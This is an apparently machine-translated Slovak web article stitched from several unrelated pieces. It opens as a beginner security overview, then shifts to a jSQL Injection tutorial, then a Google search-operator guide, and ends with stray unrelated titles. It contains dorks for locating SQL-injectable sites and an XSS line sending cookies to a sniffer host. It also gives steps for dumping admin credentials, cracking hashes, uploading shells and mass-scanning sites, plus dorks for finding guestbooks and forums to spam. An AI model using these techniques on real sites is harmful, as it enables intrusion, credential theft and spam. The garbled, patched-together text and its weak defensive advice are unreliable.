Rozhodol som sa trochu porozprávať o informačnej bezpečnosti. Článok bude užitočný pre začínajúcich programátorov a tých, ktorí práve začali s vývojom Frontendu. Aký je problém?
Mnoho začínajúcich vývojárov je tak závislých od písania kódu, že úplne zabúdajú na bezpečnosť svojej práce. A hlavne zabúdajú na zraniteľnosti ako SQL dotaz, XXS. Tiež prichádzajú s ľahkými heslami pre svoje administrátorské panely a sú vystavené hrubej sile. Aké sú tieto útoky a ako sa im dá vyhnúť?
SQL injekcia
SQL injection je najbežnejší typ databázového útoku, ktorý sa vykonáva s dotazom SQL pre konkrétny DBMS. Mnoho ľudí a dokonca aj veľké spoločnosti trpia takýmito útokmi. Dôvodom je chyba vývojára pri písaní databázy a vlastne SQL dotazov.
Útok SQL injection je možný z dôvodu nesprávneho spracovania vstupných údajov použitých v SQL dotazoch. Ak hacker úspešne dokončí útok, riskujete stratu nielen obsahu databáz, ale aj hesiel a logov administratívneho panelu, resp. A tieto údaje budú stačiť na úplné ovládnutie stránky alebo na jej nezvratné úpravy.
Útok je možné úspešne reprodukovať v skriptoch napísaných v PHP, ASP, Perl a ďalších jazykoch. Úspech takýchto útokov závisí viac od toho, aký DBMS sa používa a ako je implementovaný samotný skript. Vo svete existuje veľa zraniteľných stránok na vstrekovanie SQL. Dá sa to ľahko overiť. Stačí zadať "dorky" - to sú špeciálne požiadavky na vyhľadávanie zraniteľných stránok. Tu sú niektoré z nich:
- inurl: index.php? id =
- inurl: trainers.php? id =
- inurl: buy.php? category =
- inurl: article.php? ID =
- inurl: play_old.php? id =
- inurl: statement_more.php? decl_id =
- inurl: pageid =
- inurl: games.php? id =
- inurl: súbor page.php? =
- inurl: newsDetail.php? id =
- inurl: gallery.php? id =
- inurl: article.php? id =
Ako ich používať? Stačí ich zadať do vyhľadávača Google alebo Yandex. Vyhľadávač vám poskytne nielen zraniteľnú stránku, ale aj stránku pre túto zraniteľnosť. Nebudeme sa tým ale zaoberať a uistíme sa, že stránka je skutočne zraniteľná. Aby ste to dosiahli, stačí vložiť úvodzovky "" "za hodnotu" id = 1 ". Niečo také:
- inurl: games.php? id = 1 '
A stránka nám vypíše chybu o SQL dotaze. Čo náš hacker potrebuje ďalej?
A potom potrebuje práve tento odkaz na chybovú stránku. Potom sa práca na zraniteľnosti vo väčšine prípadov odohráva v distribúcii „Kali linux“ s jej nástrojmi pre túto časť: vstrekovanie kódu injekcie a vykonávanie potrebných operácií. Ako sa to stane, vám nemôžem povedať. Informácie o tom však nájdete na internete.
XSS útok
Tento typ útoku sa vykonáva na cookies. Používatelia si ich zase veľmi radi ukladajú. Prečo nie? Ako to môže byť bez nich? Vďaka súborom cookie skutočne nezískavame heslo z Vk.com alebo Mail.ru stokrát. A málo z tých, ktorí ich odmietajú. Na internete sa však pre hackerov často objavuje pravidlo: faktor pohodlia je priamo úmerný faktoru neistoty.
Na implementáciu XSS útoku potrebuje náš hacker znalosť JavaScriptu. Jazyk je na prvý pohľad veľmi jednoduchý a neškodný, pretože nemá prístup k počítačovým zdrojom. Hacker vie pracovať s JavaScriptom len v prehliadači, ale to stačí. Koniec koncov, hlavnou vecou je zadať kód na webovú stránku.
Nebudem podrobne hovoriť o procese útoku. Poviem vám len základy a význam toho, ako sa to deje.
Hacker môže pridať kód JS do fóra alebo knihy návštev:
Skripty nás presmerujú na infikovanú stránku, kde sa spustí kód: či už ide o sniffer, nejaký druh úložiska alebo exploit, ktorý nejakým spôsobom ukradne naše cookies z vyrovnávacej pamäte.
Prečo JavaScript? Pretože JavaScript si dobre rozumie s webovými požiadavkami a má prístup k súborom cookie. Ale ak nás náš skript prenesie na nejakú stránku, používateľ si to ľahko všimne. Tu hacker využíva prefíkanejšiu možnosť – jednoducho zadá kód do obrázka.
Img = nový obrázok ();
Img.src = ”http://192.168.1.7/sniff.php?32+document.cookie;
My len vytvoríme obrázok a priradíme mu náš skript ako adresu.
Ako sa pred tým všetkým chrániť? Veľmi jednoduché – neklikajte na podozrivé odkazy.
DoS a DDos útoky
DoS (z anglického Denial of Service - odmietnutie služby) - hackerský útok na počítačový systém s cieľom jeho zlyhania. Ide o vytvorenie takých podmienok, pri ktorých sa svedomití používatelia systému nedostanú k poskytovaným systémovým prostriedkom (serverom), prípadne je tento prístup sťažený. Zlyhanie systému môže byť krokom k jeho zachyteniu, ak softvér v núdzovej situácii vydá akúkoľvek kritickú informáciu: napríklad verziu, časť programového kódu atď. Najčastejšie však ide o mieru ekonomického tlaku. : strata jednoduchej služby, ktorá generuje príjem. Účty od poskytovateľa alebo opatrenia na zamedzenie útoku výrazne zasiahli cieľ.V súčasnosti sú najpopulárnejšie DoS a DDoS útoky, ktoré umožňujú zlyhať takmer akýkoľvek systém bez zanechania právne významného dôkazu.
Aký je rozdiel medzi útokmi DoS a DDos?
DoS je šikovne skonštruovaný útok. Napríklad, ak server neskontroluje správnosť prichádzajúcich paketov, hacker môže podať takúto požiadavku, ktorá bude spracovaná navždy a nebude dostatok času procesora na prácu s inými pripojeniami. V súlade s tým zákazníci dostanú odmietnutie služby. Ale preťažiť alebo deaktivovať veľké známe stránky týmto spôsobom nebude fungovať. Sú vyzbrojené pomerne širokými kanálmi a super výkonnými servermi, ktoré sa s takýmto preťažením bez problémov vyrovnajú.
DDoS je vlastne rovnaký útok ako DoS. Ale ak je v DoS jeden request paket, tak v DDoS ich môžu byť stovky alebo viac. Dokonca ani supervýkonné servery nemusia byť schopné zvládnuť toto preťaženie. Uvediem príklad.
DoS útok je, keď s niekým vediete rozhovor, ale potom príde nejaký nevychovaný človek a začne nahlas kričať. Zároveň je buď nemožné, alebo veľmi ťažké rozprávať. Riešenie: zavolajte ochranku, ktorá upokojí a vyvedie osobu z miestnosti. DDoS útoky sú, keď sa k takýmto nevychovaným ľuďom vrhne tisícový dav. V tomto prípade sa stráže nebudú môcť skrútiť a odviesť každého.
DoS a DDoS sa vyrábajú z počítačov nazývaných zombie. Ide o počítače používateľov napadnutých hackermi, ktorí ani len netušia, že ich počítač je zapojený do útoku na server.
Ako sa pred tým chrániť? Vo všeobecnosti nič. Úlohu pre hackera je však možné skomplikovať. Aby ste to dosiahli, musíte si vybrať dobrý hosting s výkonnými servermi.
Bruteforce útok
Vývojár môže prísť s množstvom ochranných systémov proti útokom, kompletne si prezerať skripty, ktoré sme napísali, kontrolovať zraniteľnosť stránky atď. Ale keď príde na posledný krok rozloženia stránky, konkrétne keď bude ľahké zadať heslo na panel administrátora, môže zabudnúť na jednu vec. Heslo!
Dôrazne sa neodporúča nastavovať jednoduché heslo. Môže to byť 12345, 1114457, vasya111 atď. Neodporúča sa nastavovať heslá kratšie ako 10-11 znakov. V opačnom prípade môžete podstúpiť najbežnejší a nie náročný útok – Brute force.
Brute-force je slovníkový útok hrubou silou pomocou špeciálnych programov. Slovníky môžu byť rôzne: latinské, vyčíslenie podľa čísel, povedzme do určitého rozsahu, zmiešané (latinčina + čísla) a dokonca existujú slovníky s jedinečnými symbolmi @ # 4 $% & * ~~ `' ”\? atď.
Samozrejme, tomuto typu útoku sa dá ľahko vyhnúť vytvorením zložitého hesla. Dokonca aj captcha vás môže zachrániť. A tiež, ak je váš web vytvorený na CMS, mnohí z nich vypočítajú tento typ útoku a zablokujú IP. Vždy si musíte pamätať, že čím viac rôznych znakov je v hesle, tým ťažšie je nájsť ho.
Ako fungujú hackeri? Vo väčšine prípadov buď vopred podozrievajú alebo poznajú časť hesla. Je celkom logické predpokladať, že heslo používateľa určite nebude pozostávať z 3 alebo 5 znakov. Tieto heslá vedú k častým hackom. V zásade hackeri berú rozsah od 5 do 10 znakov a pridávajú tam niekoľko postáv, ktoré pravdepodobne vedia vopred. Ďalej sa vygenerujú heslá s požadovanými rozsahmi. V linuxovej distribúcii Kali existujú dokonca programy pre takéto prípady. A voilá, útok už nebude trvať dlho, keďže objem slovníka už nie je taký veľký. Okrem toho môže hacker využiť silu grafickej karty. Niektoré z nich podporujú systém CUDA, pričom rýchlosť vyhľadávania sa zvýši až 10-krát. A teraz vidíme, že útok takýmto jednoduchým spôsobom je celkom reálny. Ale nielen stránky sú vystavené hrubej sile.
Vážení vývojári, nikdy nezabúdajte na systém informačnej bezpečnosti, pretože dnes veľa ľudí, vrátane štátov, trpí takýmito typmi útokov. Najväčšou zraniteľnosťou je predsa človek, ktorý sa dá vždy niekde rozptýliť alebo niekde neprehliadnuť. Sme programátori, ale nie naprogramované stroje. Buďte vždy v strehu, pretože strata informácií môže mať vážne následky!
Spustite stiahnutý súbor dvojitým kliknutím (potrebujete mať virtuálny stroj).
3. Anonymita pri kontrole stránky pre SQL injection
Konfigurácia Tor a Privoxy v systéme Kali Linux
[Sekcia vo výstavbe]
Konfigurácia Tor a Privoxy v systéme Windows
[Sekcia vo výstavbe]
Nastavenia pre prácu cez proxy v jSQL Injection
[Sekcia vo výstavbe]
4. Kontrola stránky pre SQL injection pomocou jSQL Injection
Práca s programom je mimoriadne jednoduchá. Stačí zadať adresu stránky a stlačiť ENTER.
Nasledujúca snímka obrazovky ukazuje, že stránka je zraniteľná voči trom typom vstrekovania SQL naraz (informácie o nich sú uvedené v pravom dolnom rohu). Kliknutím na názvy injekcií môžete prepínať použitú metódu:
Existujúce databázy už boli tiež zobrazené.
Môžete vidieť obsah každej tabuľky:
Zvyčajne sú v tabuľkách najzaujímavejšie poverenia správcu.
Ak máte šťastie a našli ste údaje správcu, tak je priskoro na radosť. Musíte tiež nájsť admin panel, kde zadať tieto údaje.
5. Pomocou jSQL Injection vyhľadajte oblasti správcu
Ak to chcete urobiť, prejdite na ďalšiu kartu. Tu nás víta zoznam možných adries. Na kontrolu môžete vybrať jednu alebo niekoľko stránok:
Pohodlie spočíva v tom, že nemusíte používať ďalšie programy.
Bohužiaľ, nie je veľa neopatrných programátorov, ktorí ukladajú heslá v čistom texte. Pomerne často v riadku hesla vidíme niečo ako
8743b52063cd84097a65d1633f5c74f5
Toto je hash. Môžete to dešifrovať hrubou silou. A ... jSQL Injection má vstavanú hrubú silu.
6. Hrubé vynútenie hashov pomocou jSQL Injection
Nepochybnou výhodou je, že nemusíte hľadať ďalšie programy. Má podporu pre mnohé z najpopulárnejších hashov.
Toto nie je najlepšia možnosť. Aby ste sa stali guruom v dekódovaní hashov, odporúča sa kniha „“ v ruštine.
Ale samozrejme, keď nie je po ruke iný program alebo nie je čas sa učiť, príde vhod jSQL Injection so vstavanou funkciou brute-force.
Existujú nastavenia: môžete nastaviť, aké znaky sú zahrnuté v hesle, rozsah dĺžky hesla.
7. Operácie so súbormi po zistení SQL injection
Okrem operácií s databázami - ich čítanie a modifikácia, je možné v prípade detekcie SQL injekcií vykonávať nasledujúce operácie so súbormi:
- čítanie súborov na serveri
- nahrávanie nových súborov na server
- nahrávanie shellov na server
A to všetko je implementované v jSQL Injection!
Existujú obmedzenia - server SQL musí mať práva na súbory. Pre rozumných správcov systému sú vypnuté a nebudete môcť získať prístup k súborovému systému.
Existencia privilégií k súborom sa dá ľahko skontrolovať. Prejdite na jednu zo záložiek (čítanie súborov, vytvorenie shellu, nahranie nového súboru) a skúste vykonať jednu zo zadaných operácií.
Ešte veľmi dôležitá poznámka – musíme poznať presnú absolútnu cestu k súboru, s ktorým budeme pracovať – inak nebude fungovať nič.
Pozrite si nasledujúcu snímku obrazovky:
Na každý pokus o prácu so súborom odpovie: Žiadne privilégium FILE(žiadne privilégiá k súborom). A nedá sa s tým nič robiť.
Ak namiesto toho máte inú chybu:
Problém so zápisom do [názov_adresára]
To znamená, že ste nesprávne zadali absolútnu cestu, kam chcete súbor zapísať.
Aby ste mohli predpokladať absolútnu cestu, musíte aspoň poznať operačný systém, na ktorom server beží. Ak to chcete urobiť, prejdite na kartu Sieť.
Takýto záznam (riadok Win64) nám dáva dôvod predpokladať, že máme čo do činenia s operačným systémom Windows:
Keep-Alive: časový limit = 5, max = 99 Server: Apache / 2.4.17 (Win64) PHP / 7.0.0RC6 Pripojenie: Keep-Alive metóda: HTTP / 1,1 200 OK Obsah-Dĺžka: 353 Dátum: Pia, 11. decembra 2015 11:48:31 GMT X-Powered-By: PHP / 7.0.0RC6 Content-Type: text / html; znaková sada = UTF-8
Tu máme nejaký Unix (* BSD, Linux):
Transfer-Encoding: chunked Dátum: Pi, 11 Dec 2015 11:57:02 GMT Metóda: HTTP / 1.1 200 OK Keep-Alive: timeout = 3, max = 100 Connection: keep-alive Content-Type: text / html X- Poháňané: PHP / 5.3.29 Server: Apache / 2.2.31 (Unix)
A tu máme CentOS:
Metóda: HTTP / 1.1 200 OK Platnosť: štvrtok, 19. novembra 1981 08:52:00 GMT Set-Cookie: PHPSESSID = 9p60gtunrv7g41iurr814h9rd0; cesta = / Pripojenie: keep-alive X-Cache-Lookup: MISS z t1.hoster.ru:6666 Server: Apache / 2.2.15 (CentOS) X-Powered-By: PHP / 5.4.37 X-Cache: MISS z t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check = 0, pre-check = 0 Pragma: no-cache Date: Pi, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text / html; znaková sada = WINDOWS-1251
V systéme Windows je typický priečinok pre lokality C: \ Server \ data \ htdocs \... Ale v skutočnosti, ak niekto „uvažoval“ o vytvorení servera v systéme Windows, potom s najväčšou pravdepodobnosťou táto osoba nepočula nič o privilégiách. Preto sa oplatí spustiť pokusy priamo z adresára C: / Windows /:
Ako vidíte, všetko prebehlo v poriadku na prvýkrát.
Ale samotné jSQL Injection shell vyvolávajú moje pochybnosti. Ak máte oprávnenia na súbory, môžete jednoducho nahrať niečo z webového rozhrania.
8. Hromadná kontrola stránok pre SQL injection
A dokonca aj jSQL Injection má túto funkciu. Všetko je veľmi jednoduché - načítajte zoznam stránok (môžete importovať zo súboru), vyberte tie, ktoré chcete skontrolovať, a stlačením príslušného tlačidla spustite operáciu.
Záver o jSQL Injection
jSQL Injection je dobrý, výkonný nástroj na nájdenie a následné použitie SQL Injection na stránkach. Jeho nesporné výhody: jednoduché použitie, vstavané súvisiace funkcie. jSQL Injection môže byť najlepším priateľom začiatočníka pri analýze webových stránok.
Z nedostatkov by som poznamenal nemožnosť úpravy databáz (aspoň ja som túto funkcionalitu nenašiel). Ako pri všetkých nástrojoch s grafickým rozhraním, nevýhody tohto programu možno pripísať nemožnosti použitia v skriptoch. Napriek tomu je aj v tomto programe možná určitá automatizácia – vďaka vstavanej funkcii hromadnej kontroly lokality.
Použitie JSQL Injection je oveľa pohodlnejšie ako sqlmap. Ale sqlmap podporuje viac typov SQL injection, má možnosti pre prácu so súborovými firewallmi a niektoré ďalšie funkcie.
Zrátané a podčiarknuté: jSQL Injection je najlepší priateľ začínajúceho hackera.
Nápovedu k tomuto programu nájdete v Kali Linux Encyklopédii na tejto stránke: http://kali.tools/?p=706
Ako správne hľadať s google.com
Každý asi vie, ako používať vyhľadávač ako Google =) Nie každý však vie, že ak správne zostavíte vyhľadávací dopyt pomocou špeciálnych štruktúr, môžete dosiahnuť výsledky, ktoré hľadáte, oveľa efektívnejšie a rýchlejšie =) V tomto článku som sa pokúsi ukázať, že a ako musíte urobiť správne vyhľadávanie
Google podporuje niekoľko pokročilých operátorov vyhľadávania, ktoré majú špeciálny význam pri vyhľadávaní na google.com. Tieto operátory zvyčajne upravia vyhľadávanie alebo dokonca prikážu Googlu, aby vykonal úplne iné typy vyhľadávania. Napríklad konštrukcia odkaz: je špeciálny operátor, a žiadosť odkaz: www.google.com vám neposkytne normálne vyhľadávanie, ale namiesto toho nájde všetky webové stránky, ktoré majú odkazy na google.com.
alternatívne typy žiadostí
vyrovnávacia pamäť: Ak do svojho dopytu zahrniete ďalšie slová, Google tieto zahrnuté slová zvýrazní v dokumente uloženom vo vyrovnávacej pamäti.
Napríklad, cache: www.webová stránka zobrazí obsah uložený vo vyrovnávacej pamäti so zvýrazneným slovom „web“.
odkaz: vyhľadávací dopyt uvedený vyššie zobrazí webové stránky, ktoré obsahujú odkazy na zadaný dopyt.
Napríklad: odkaz: www.stránka zobrazí všetky stránky, ktoré majú odkaz na http: //www.site
súvisiace: Zobrazuje webové stránky, ktoré „súvisia“ so zadanou webovou stránkou.
Napríklad, súvisiace: www.google.com zobrazí zoznam webových stránok, ktoré sú podobné domovskej stránke Google.
Info: Vyžiadať informácie: Poskytuje niektoré informácie, ktoré má Google o požadovanej webovej stránke.
Napríklad, info: webstránka zobrazí informácie o našom fóre =) (Armada - Fórum dospelých webmasterov).
Ďalšie žiadosti o informácie
definovať: Dotaz define: poskytne definíciu slov, ktoré zadáte potom, zostavenú z rôznych online zdrojov. Definícia bude pre celú zadanú frázu (to znamená, že bude zahŕňať všetky slová v presnom dopyte).
zásoby: Ak svoju požiadavku začnete akciami: Google bude so zvyškom podmienok požiadavky zaobchádzať ako so symbolmi burzy a bude odkazovať na stránku zobrazujúcu pripravené informácie pre tieto symboly.
Napríklad, akcie: Intel yahoo zobrazí informácie o Intel a Yahoo. (Upozorňujeme, že musíte zadať znaky najnovších správ, nie názov spoločnosti)
Modifikátory požiadaviek
lokalita: Ak do dopytu zahrniete site:, Google obmedzí výsledky na webové stránky, ktoré nájde v danej doméne.
Môžete tiež vyhľadávať jednotlivé zóny, ako napríklad ru, org, com atď ( stránka: com miesto: ru)
allintitle: Ak spustíte dopyt s allintitle :, Google obmedzí výsledky so všetkými slovami dopytu v hlavičke.
Napríklad, allintitle: vyhľadávanie google vráti všetky stránky vyhľadávania Google, ako sú obrázky, blog atď
názov: Ak vo svojej žiadosti uvediete intitle:, Google obmedzí výsledky na dokumenty obsahujúce toto slovo v názve.
Napríklad, názov: Obchod
allinurl: Ak spustíte dopyt s allinurl: Google obmedzí výsledky so všetkými slovami dopytu v adrese URL.
Napríklad, allinurl: vyhľadávanie Google vráti dokumenty pomocou google a vyhľadávania v hlavičke. Prípadne môžete slová oddeliť lomkou (/), potom sa slová na oboch stranách lomky budú hľadať na tej istej stránke: Príklad allinurl: foo / bar
inurl: Ak vo svojom dopyte zahrniete inurl:, Google obmedzí výsledky na dokumenty obsahujúce toto slovo v adrese URL.
Napríklad, Inurl animácie: webová stránka
intext: vyhľadáva zadané slovo iba v texte stránky, pričom ignoruje nadpis a text odkazov a ďalšie veci, ktoré s tým nesúvisia. Existuje aj derivát tohto modifikátora - allintext: tie. ďalej sa všetky slová v dopyte budú hľadať iba v texte, čo je tiež dôležité, ignorujúc často používané slová v odkazoch
Napríklad, intext: fórum
rozsah dátumov: vyhľadáva v časových rámcoch (daterange: 2452389-2452389), dátumy pre časy sú v juliánskom formáte.
No a všetky druhy zaujímavých príkladov žiadostí
Príklady písania dopytov pre Google. Pre spamerov
Inurl: control.guest? A = znamenie
Web: books.dreambook.com “Adresa URL domovskej stránky” “Podpísať” inurl: sign
Stránka: www.freegb.net Domovská stránka
Inurl: sign.asp “Počet znakov”
"Správa:" inurl: sign.cfm "Odosielateľ:"
Inurl: register.php “Registrácia užívateľa” “Webová stránka”
Inurl: edu / kniha návštev “Zapíšte sa do knihy návštev”
Inurl: príspevok „Uverejniť komentár“ „URL“
Inurl: / archívy / “Komentáre:” “Pamätať si info?”
“Scenár a knihu návštev vytvoril:” “URL:” “Komentáre:”
Inurl:? Action = pridať “phpBook” “URL”
Názov: „Odoslať nový príbeh“
Časopisy
Inurl: www.livejournal.com/users/ mode = odpoveď
Inurl greatjournal.com/ mode = odpoveď
Inurl: fastbb.ru/re.pl?
Inurl: fastbb.ru /re.pl? "Kniha návštev"
Blogy
Inurl: blogger.com/comment.g? „PostID“ „anonymný“
Inurl: typepad.com/ “Pridať komentár” “Pamätať si osobné informácie?”
Inurl: greatjournal.com/community/ “Uverejniť komentár” “adresy anonymných plagátov”
"Uverejniť komentár" "adresy anonymných plagátov" -
Intitle: "Uverejniť komentár"
Inurl: pirillo.com “Pridať komentár”
fóra
Inurl: gate.html? “Názov = Fórum” “režim = odpoveď”
Inurl: "forum / posting.php? Režim = odpoveď"
Inurl: "mes.php?"
Inurl: "members.html"
Inurl: forum / memberlist.php?
Skenovací mikroskop s atómovou silou Laboratórna správa by mala obsahovať
Výber nosných stojanov kontaktnej siete
Návrh a výpočet AC trolejového vedenia
Vývoj mikroprocesorových systémov Etapy návrhu mikroprocesorových systémov
Mikrokontroléry rodiny mcs51